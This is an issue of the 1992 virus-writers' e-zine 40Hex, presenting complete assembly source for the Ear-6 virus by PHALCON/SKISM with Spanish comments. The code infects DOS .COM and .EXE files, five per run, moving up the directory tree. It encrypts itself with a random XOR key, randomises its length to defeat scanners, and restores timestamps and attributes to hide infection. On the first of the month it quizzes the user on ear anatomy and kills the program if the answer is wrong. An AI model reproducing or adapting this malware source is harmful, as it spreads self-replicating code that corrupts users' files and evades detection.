40Hex Number 8 Volume 2 Issue 4 File 009 -=PHALCON/SKISM=- Ear-6 Virus The Ear-6 is a parasitic, non-resident, .COM & .EXE infector. It infects 5 files everytime it is run. It will traverse towards the root directory if fewer than 5 files are found. We have no clue as to what the 'AUX error' that Patti talks about. But then again, Patti isn't sure as to who she is, let alone an accurate discription on one of our virii. On activation (1st of any month), it plays ear quiz with victim. Failure to answer the question will result in program termination. -) Gheap --------------------------------------------------------------------------- ;[Ear-6] ;El virus de oreja y oido seis ;Fue escrito por Dark Angel de PHALCON/SKISM ;Yo (el angel oscuro) escribi este programa hace muchas semanas. ;No deba modificar este programa y da a otras personas COMO SI ;estara el suyo. ;?Donde esta mi llama, mama? ; diccionarito ;espanol ingles magnitud size ;abre open mango handle ;aprueba pass (a test) mascara mask ;atras back mensaje message ;azado random mes month ;busca find monton heap ;cierra close oreja, oido ear ;cifra code, encrypt, decrypt pila stack ;codo pointer pregunta question ;corto terse, short primer first ;empieza begin remendar patch ;escriba write renuncia reject ;espanol ingles respuesta answer ;fecha date salta exit ;ficha file siguiente following, next ;indice table suspende fail (a test) ;?le gusta? do you like? termina end ;longitud length virus virus (!) .model tiny .code org 100h longitud_del_virus = TerminaVir - EmpezarVir longitud_del_escribir = offset termina_escribir - offset escribir id = 'GH' ;Representa el lider de ;PHALCON/SKISM, Garbageheap Empezar: db 0e9h, 0, 0 ;jmp EmpezarVir EmpezarVir: shwing: remendar1: mov bx, offset EmpezarCifra remendar2: mov cx, ((longitud_del_virus + 1) / 2) hacia_atras: ;atras db 2eh remendar3: db 81h, 37h, 0, 0 ;xor word ptr cs:[bx], 0 add bx, 2 loop hacia_atras EmpezarCifra: call siguiente ;Es estupido, pero es corto siguiente: pop bp sub bp, offset siguiente mov byte ptr [bp+numinf], 0 cld ;No es necessario, pero ;?por que no? cmp sp, id jz SoyEXE SoyCOM: mov di, 100h push di lea si, [bp+Primer3] movsb jmp short SoyNada SoyEXE: push ds push es push cs push cs pop ds pop es lea di, [bp+EXE_Donde_JMP] ;el CS:IP original de la ficha lea si, [bp+EXE_Donde_JMP2] ;infectada movsw movsw movsw jmp short SoyNada NombreDelVirus db 0,'[Ear-6]',0 ;En ingles, !por supuesto! NombreDelAutor db 'Dark Angel',0 SoyNada: movsw mov ah, 1ah ;Esindicece un DTA nuevo lea dx, [bp+offset nuevoDTA] ;porque no quiere destruir int 21h ;el DTA original mov ax, word ptr [bp+remendar1+1] mov word ptr [bp+tempo], ax mov ah, 47h ;Obtiene el directorio xor dl, dl ;presente lea si, [bp+diroriginal] int 21h looper: lea dx, [bp+offset mascara1] ;"mascara", no "mascara" call infectar_mascara ;pero no es possible usar ;acentos en MASM/TASM. ;!Que lastima! ;mascara1 es '*.EXE',0 lea dx, [bp+offset mascara2] ;mascara2 es '*.COM',0 call infectar_mascara ;infecta las fichas de COM cmp byte ptr [bp+numinf], 5 ;?Ha infectada cinco fichas? jg saltar ;Si es verdad, no necesita ;busca mas fichas. mov ah, 3bh ;Cambia el directorio al lea dx, [bp+puntos] ;directorio anterior int 21h ;('..', 'punto punto') jnc looper saltar: lea dx, [bp+backslash] ;Cambia el directorio al mov ah, 3bh ;directorio terminado. int 21h mov ah, 2ah ;Activa el primer de int 21h ;cada mes cmp dl, 1 ;Si no es el primer, jnz saltarahora ;!saltar ahora! (duh-o) mov ah, 2ch ;?Que hora es? int 21h cmp dl, 85 ;85% probabilidad de jg saltarahora ;activacion and dx, 7 ;Un numero quasi-azado shl dl, 1 ;Usalo para determinar mov bx, bp ;que preguntara la virus add bx, dx mov dx, word ptr [bx+indice] ;indice para el examencito add dx, bp inc dx push dx ;Salva el codo al pregunta mov ah, 9 ;Escriba el primer parte de lea dx, [bp+mensaje] ;la pregunta int 21h pop dx ;Escriba el parte de la oreja int 21h ;o el oido dec dx push dx ;Salva la respuesta correcta lea dx, [bp+secciones] ;Escriba los secciones de la int 21h ;oreja y el oido trataotrarespuesta: mov ah, 7 ;Obtiene la respuesta de la int 21h ;"victima" cmp al, '1' ;Necesita una respuesta de jl trataotrarespuesta ;uno hasta tres cmp al, '3' ;Renuncia otras respuestas jg trataotrarespuesta int 29h ;Escriba la respuesta pop bx ;El codo al respuesta ;correcta mov ah, 9 ;Prepara a escribir un ;mensaje cmp al, byte ptr [bx] ;?Es correcta? jz saltarapidamente ;El aprueba el examencito. ;Pues, salta rapidamente. lea dx, [bp+suspendido] ;Lo siento, pero !Ud. no int 21h ;aprueba el examencito facil! mov ah, 4ch ;Estudie mas y el programa jmp quite ;permitira a Ud a continuar. saltarapidamente: lea dx, [bp+aprueba] int 21h saltarahora: mov ah, 1ah ;Restaura el DTA original mov dx, 80h quite: cmp sp, id - 4 ;?Es EXE o COM? jz vuelvaEXE vuelvaCOM: int 21h ;Restaura el DTA y vuelva retn ;a la ficha original de COM vuelvaEXE: pop es pop ds ;ds -> PSP int 21h mov ax, es add ax, 10h ;Ajusta para el PSP add word ptr cs:[bp+EXE_Donde_JMP+2], ax cli add ax, word ptr cs:[bp+PilaOriginal+2] mov ss, ax mov sp, word ptr cs:[bp+PilaOriginal] sti db 0eah ;JMP FAR PTR SEG:OFF EXE_Donde_JMP dd 0 PilaOriginal dd 0 EXE_Donde_JMP2 dd 0 PilaOriginal2 dd 0 infectar_mascara: mov ah, 4eh ;Busca la ficha primera mov cx, 7 ;Cada atributo brb_brb: int 21h jc hasta_la_vista_bebe ;No la busca xor al, al call abrir ;Abre la ficha mov ah, 3fh mov cx, 1ah lea dx, [bp+buffer] int 21h mov ah, 3eh ;Cierra la ficha int 21h lea si,[bp+nuevoDTA+15h] ;Salva cosas sobre la ficha lea di,[bp+f_atrib] ;Por ejemplo, la fecha de mov cx, 9 ;creacion rep movsb cmp word ptr [bp+buffer], 'ZM' ;?Es EXE o COM? jz buscaEXE buscaCOM: mov ax, word ptr [bp+f_long] ;?Cuan grande es la ficha? sub ax, longitud_del_virus + 3 ;Adjusta para el JMP cmp ax, word ptr [bp+buffer+1] ;?Ya es infectada? jnz infecta_mi_burro ;"infect my ass" jmp short BuscaMas buscaEXE: cmp word ptr [bp+buffer+10h], id jnz infecta_mi_burro BuscaMas: mov ah, 4fh ;Busca otra ficha... jmp short brb_brb hasta_la_vista_bebe: ;?Le gusta Arnold? ret infecta_mi_burro: ;AX = longitud de la ficha infectada lea si, [bp+buffer] cmp word ptr [si], 'ZM' jz InfectaEXE InfectaCOM: push ax mov cx, word ptr [bp+tempo] mov word ptr [bp+remendar1+1], cx lea di, [bp+Primer3] movsb push si movsw mov byte ptr [bp+buffer], 0e9h pop di add ax, longitud_del_virus stosw mov cx, 3 jmp short TerminaInfeccion InfectaEXE: les ax, [si+14h] ;Salva el original empieza mov word ptr [bp+EXE_Donde_JMP2], ax;CS:IP de la ficha infectada mov word ptr [bp+EXE_Donde_JMP2+2], es les ax, [si+0Eh] ;Salva la original locacion mov word ptr [bp+PilaOriginal2], es ;de la pila mov word ptr [bp+PilaOriginal2+2], ax mov ax, word ptr [si + 8] mov cl, 4 shl ax, cl xchg ax, bx les ax, [bp+offset nuevoDTA+26] mov dx, es push ax push dx sub ax, bx sbb dx, 0 mov cx, 10h div cx mov word ptr [si+14h], dx ;Nuevo empieza CS:IP mov word ptr [si+16h], ax mov cl, 4 shr dx, cl add ax, dx mov word ptr [si+0Eh], ax ;y SS:SP mov word ptr [si+10h], id pop dx ;Restaura el magnitud de pop ax ;la ficha add ax, longitud_del_virus ;Anada el magnitud del virus adc dx, 0 mov cl, 9 push ax shr ax, cl ror dx, cl stc adc dx, ax pop ax and ah, 1 mov word ptr [si+4], dx ;Nuevo magnitud de la ficha mov word ptr [si+2], ax push cs pop es mov ax, word ptr [si+14h] sub ax, longitud_del_virus + offset Empezarvir push ax mov cx, 1ah TerminaInfeccion: mov al, 2 call abrir mov ah, 40h lea dx, [bp+buffer] int 21h mov ax, 4202h xor cx, cx cwd ;xor dx,dx int 21h mov ah, 2ch ;Numeros azados en CX y DX int 21h mov word ptr [bp+remendar3+2], cx ;Es el nuevo numero de la ;cifra and cx, 31 ;Pone un numero azado para el add cx, ((longitud_del_virus + 1) / 2);magnitud de la ficha. Por ;eso, los scanners necesitan mov word ptr [bp+remendar2+1], cx ;usar "wildcards" lea di, [bp+tempstore] mov al, 53h ;push bx stosb ;(no destruir el mango de la ; ficha) lea si, [bp+shwing] ;Copia las instrucciones push si ;para formar la cifra mov cx, longitud_de_la_cifra push cx rep movsb mov al, 5bh ;pop bx stosb ;(recuerda mango de la ficha) lea si, [bp+escribir] ;Copia las instrucciones mov cx, longitud_del_escribir ;para anada el virus a la rep movsb ;ficha mov al, 53h ;push bx stosb pop cx ;Copia las instrucciones pop si ;para invalidar la cifra rep movsb mov ax, 0c35bh ;pop bx, retn stosw pop ax ;Codo del comienzo de la cifra add ax, offset EmpezarCifra + longitud_del_virus mov word ptr [bp+remendar1+1], ax call antes_del_tempstore mov ax, 5701h ;BX = mango de la ficha mov dx, word ptr [bp+f_fecha] mov cx, word ptr [bp+f_hora] int 21h ;Restaura fecha y hora mov ah, 3eh int 21h xor ch, ch mov cl, byte ptr [bp+f_atrib] mov ax, 4301h lea dx, [bp+offset nuevoDTA + 30] ;Busca un ficha en el DTA int 21h inc byte ptr [bp+numinf] jmp BuscaMas Primer3 db 0CDh, 20h, 0 puntos db '..',0 mascara1 db '*.EXE',0 mascara2 db '*.COM',0 abrir: mov ah, 3dh ;Abrir un ficha lea dx, [bp+nuevoDTA+30] ;Nombre de la ficha es en int 21h ;el DTA xchg ax, bx ret indice dw offset oreja1, offset oreja2, offset oreja3, offset oreja4 dw offset oreja5, offset oreja6, offset oreja4, offset oreja1 oreja1 db '1','Auditory Canal$' oreja2 db '1','Lobe$' oreja3 db '2','Anvil$' oreja4 db '2','Eustachian Tube$' oreja5 db '3','Auditory Nerve$' oreja6 db '3','Cochlea$' mensaje db 'PHALCON/SKISM 1992 [Ear-6] Alert!',13,10,'Where is the $' secciones db ' located?',13,10 db ' 1. External Ear',13,10 db ' 2. Middle Ear',13,10 db ' 3. Inner Ear',13,10,'( )',8,8,'$' ;No es bueno. suspendido db 13,10,'You obviously know nothing about ears.' db 13,10,'Try again after some study.',13,10,'$' ;!Espero que si! aprueba db 13,10,'Wow, you know your ears! Please resume work.',13,10 db '$' escribir: mov ah, 40h mov cx, TerminaVir - EmpezarVir lea dx, [bp+EmpezarVir] int 21h termina_escribir: backslash db '\' TerminaVir = $ ;Los que sigue son en el monton... longitud_de_la_cifra = offset EmpezarCifra - offset shwing diroriginal db 64 dup (?) tempo dw ? nuevoDTA db 43 dup (?) numinf db ? antes_del_tempstore: ;tempstore es el buffer para el parte del programa que anada el virus al fin ;de otro programa tempstore db (longitud_de_la_cifra*2+longitud_del_escribir+5) dup (?) ;anada cinco para los pop, ;los push, y el retn buffer db 1ah dup (?) f_atrib db ? ;atributo de la ficha f_hora dw ? ;hora de creacion f_fecha dw ? ;fecha de creacion f_long dd ? ;magnitud de la ficha end Empezar +++++